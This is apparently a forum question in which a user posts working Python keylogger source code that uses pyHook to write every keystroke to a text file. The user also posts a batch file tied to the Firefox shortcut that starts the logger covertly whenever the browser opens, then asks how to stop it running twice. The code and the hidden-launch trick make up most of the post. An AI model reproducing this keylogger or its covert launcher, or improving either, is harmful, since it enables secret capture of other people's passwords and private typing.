I made a simple Python keylogging program following this guy's tutorial. The .pyw
file is below:
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Python27\\logger.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
It subtly runs when I use firefox because the firefox shortcut calls a batch file which contains:
@echo off
tasklist /FI "IMAGENAME eq c:\Python27\keylogger.pyw" 2>NUL | find /I /N "c:\Python27\keylogger.pyw">NUL
if not "%ERRORLEVEL%"=="0" start "" "c:\Python27\keylogger.pyw" #doesn't work
start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe"
My problem is that, if I run firefox more than once (which happens often), this script runs again and repeats itself, so I get these kind of results in the logging text file.
g
g
o
o
o
o
g
g
l
l
e
e
I need some if
condition which doesn't allow this script to run if it's already running.